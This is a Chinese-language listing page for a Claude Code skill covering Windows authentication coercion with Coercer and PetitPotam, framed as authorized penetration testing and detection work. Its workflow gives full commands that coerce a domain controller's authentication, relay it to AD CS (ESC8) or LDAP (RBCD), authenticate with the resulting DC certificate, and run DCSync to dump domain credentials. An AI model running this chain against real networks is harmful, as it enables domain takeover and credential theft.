关于 coercing-authentication-with-coercer-petitpotam
面向授权 Windows 域安全测试的认证强制技能,介绍 Coercer 与 PetitPotam 的 RPC 探测和触发流程,并说明如何验证 NTLM 中继防护。
主要功能
- 01扫描可触发认证的 RPC 方法
- 02通过多种协议触发机器认证
- 03使用 fuzz 模式测试路径变体
- 04结合中继工具验证安全链路
- 05记录受影响方法与缓解建议
适用场景
- 01验证域控制器的补丁状态
- 02测试 AD CS 中继防护
- 03为 LDAP 或 SMB 中继触发认证
- 04生成认证强制检测遥测
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill coercing-authentication-with-coercer-petitpotam安装后在 Claude Code 中输入/coercing-authentication-with-coercer-petitpotam确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py详细介绍
使用 Coercer 和 PetitPotam 强制触发身份验证
法律声明: 本技能仅用于经授权的安全测试和教育目的。将身份验证强制触发与 NTLM 中继结合使用可能导致域遭到攻陷。仅可针对你拥有或已获得明确书面授权进行测试的系统使用。未经授权使用属于违法行为。
概述
许多 Windows RPC 接口都提供了接受 UNC 路径的方法,并会使接收服务器使用其计算机帐户向该路径进行身份验证。能够访问这些接口的攻击者可以强制目标(通常是域控制器)向攻击者控制的主机进行身份验证。单独来看,这称为“强制身份验证”;若与 NTLM 中继结合使用,强制触发的计算机凭据会被中继到未强制执行签名/EPA 的服务,最常见的是 AD CS Web Enrollment(ESC8),从而获取域控制器证书,并最终导致域遭到攻陷。
PetitPotam(Gilles Lionel / topotam)利用 MS-EFSR(加密文件系统远程协议)的 EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv 方法。Coercer(p0dalirius)则将此技术推广开来:它是一款 Python 工具,可通过横跨多个协议的 12 种方法,自动强制 Windows 服务器向任意机器进行身份验证——包括 MS-EFSR(PetitPotam)、MS-RPRN(PrinterBug/SpoolSample)、MS-DFSNM(DFSCoerce)、MS-FSRVP(ShadowCoerce)、MS-EVEN 等。Coercer 提供三种模式:扫描(探测哪些 RPC 方法可访问/可触发身份验证)、强制触发(触发身份验证)和 模糊测试(研究路径变体)。来源:p0dalirius/Coercer、topotam/PetitPotam、The Hacker Recipes — 强制身份验证。
适用场景
- 通过强制 DC 向中继端进行身份验证,完成 ESC8/ESC11 攻击链
- 触发计算机身份验证,以便向 LDAP(RBCD)或 SMB 进行 NTLM 中继
- 已确定中继目标,但未自然发生入站身份验证时
- 在检测工程中生成强制触发遥测数据,以调整蓝队检测
- 验证 DC/服务器是否已修补,以及中继缓解措施(签名/EPA)是否有效
前提条件
- 授权范围包含身份验证强制触发和 NTLM 中继技术
- 有效的域凭据(通常为低权限);某些方法可在未修补的主机上未经身份验证使用
- 在可访问的主机上运行中继监听器(Certipy
relay或 Impacketntlmrelayx) - 网络可访问目标的 RPC 端点(135 + 动态端口、445)
- 运行 Python 3.8+ 的 Linux 攻击主机;安装工具:
# Coercer pipx install coercer # or: sudo python3 -m pip install coercer coercer --help # PetitPotam (source) git clone https://github.com/topotam/PetitPotam # Impacket (provides ntlmrelayx, dFSCoerce etc.) pipx install impacket
目标
- 识别目标开放了哪些 RPC 身份验证强制触发方法(扫描模式)
- 启动指向易受攻击服务(例如 AD CS Web Enrollment)的 NTLM 中继
- 强制目标计算机帐户向中继端进行身份验证
- 获取中继后的凭据材料(通过 ESC8 获取 DC 证书、通过 LDAP 写入 RBCD)
- 记录可触发身份验证的方法,并提出修补/缓解建议
MITRE ATT&CK 映射
| ID | 技术 | 在本技能中的应用 |
|---|---|---|
| T1187 | 强制身份验证 | 使用 MS-EFSR/MS-RPRN/MS-DFSNM/MS-FSRVP RPC 方法,强制目标计算机帐户向攻击者控制的主机进行身份验证 |
关联技术:T1557.001(LLMNR/NBT-NS 投毒和 SMB/NTLM 中继)以及在中继到 AD CS 时的 T1649(窃取或伪造身份验证证书)。
工作流
步骤 1:扫描目标,查找可触发身份验证的方法
使用 Coercer 的扫描模式,枚举目标上可利用的 RPC 方法。这样可以在发起完整攻击前,确定最佳的身份验证强制触发向量。
coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
-t 是目标(例如 DC),-l 是接收强制触发身份验证的监听器 IP。
步骤 2:启动中继(ESC8 示例)
在另一个终端中,启动指向 AD CS Web 注册的中继,以便任何被中继的 DC 身份验证都能获取 DomainController 证书。
# Certipy relay into HTTP web enrollment (ESC8)
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'
# Alternative: Impacket ntlmrelayx
impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
步骤 3:使用 Coercer 强制触发身份验证
触发目标计算机帐户向中继/监听器进行身份验证。--always-continue 会尝试每种方法,直到有一种成功。
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --always-continue
若要使用某个特定方法(更隐蔽),请按方法名称筛选:
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam
步骤 4:直接使用 PetitPotam 强制触发身份验证(MS-EFSR)
PetitPotam 是标准的 MS-EFSR 强制触发方法,可在未修补的 DC 上以未身份验证的方式使用。语法:petitpotam.py <listener> <target>。
# Unauthenticated attempt
python3 PetitPotam.py 10.0.0.50 10.0.0.10
# Authenticated (more reliable on patched-but-vulnerable hosts)
python3 PetitPotam.py -u attacker -p 'Passw0rd!' -d corp.local 10.0.0.50 10.0.0.10
步骤 5:使用中继结果
对于 ESC8,中继会写入 DC 证书(dc.pfx)。以 DC 身份进行身份验证并执行 DCSync。
certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
# Then DCSync with the recovered DC credential
impacket-secretsdump -k -no-pass 'corp.local/[email protected]' -just-dc
步骤 6:中继到 LDAP 以实现 RBCD(替代链路)
如果无法使用 ESC8,可将被强制触发的身份验证中继到 LDAP,以配置基于资源的约束委派。
# Relay to LDAP and delegate to attacker-controlled computer account
impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access \
--escalate-user 'attacker$' -smb2support
# Then coerce as in Step 3
步骤 7:使用模糊测试模式发现未修补路径(研究)
模糊测试模式会变换 UNC 路径,以查找可绕过部分补丁的强制触发路径。
coercer fuzz -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
工具和资源
| 资源 | 用途 | 链接 |
|---|---|---|
| Coercer | 多方法自动化强制触发(12 种方法) | https://github.com/p0dalirius/Coercer |
| PetitPotam | MS-EFSR 强制触发 | https://github.com/topotam/PetitPotam |
| Certipy relay | ESC8/ESC11 中继目标 | https://github.com/ly4k/Certipy |
| Impacket ntlmrelayx | 中继到 AD CS / LDAP / SMB | https://github.com/fortra/impacket |
| The Hacker Recipes | 强制触发与中继理论 | https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications |
强制触发方法参考
| 方法 | 协议 | 说明 |
|---|---|---|
| PetitPotam | MS-EFSR | EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv;经典的 ESC8 触发方法 |
| PrinterBug / SpoolSample | MS-RPRN | RpcRemoteFindFirstPrinterChangeNotificationEx;需要 Spooler |
| DFSCoerce | MS-DFSNM | NetrDfsAddStdRoot;PetitPotam 补丁发布后通常仍可用 |
| ShadowCoerce | MS-FSRVP | IsPathSupported / IsPathShadowCopied |
| 其他(Coercer) | MS-EVEN 等 | 共 12 种方法;使用 scan 枚举 |
验证标准
- Coercer 扫描发现目标上至少一种可达的强制触发方法
- 已针对确认存在漏洞的服务启动中继监听器
- 已成功强制目标计算机帐户向监听器进行身份验证
- 已获得中继产物(DC 证书、RBCD 写入或 SMB 执行)
- (ESC8)已使用 DC 证书进行身份验证并演示 DCSync
- 已记录可触发的方法、受影响的主机及补丁建议
- 已验证或标记中继缓解措施(SMB/LDAP 签名、EPA、RPC 筛选器)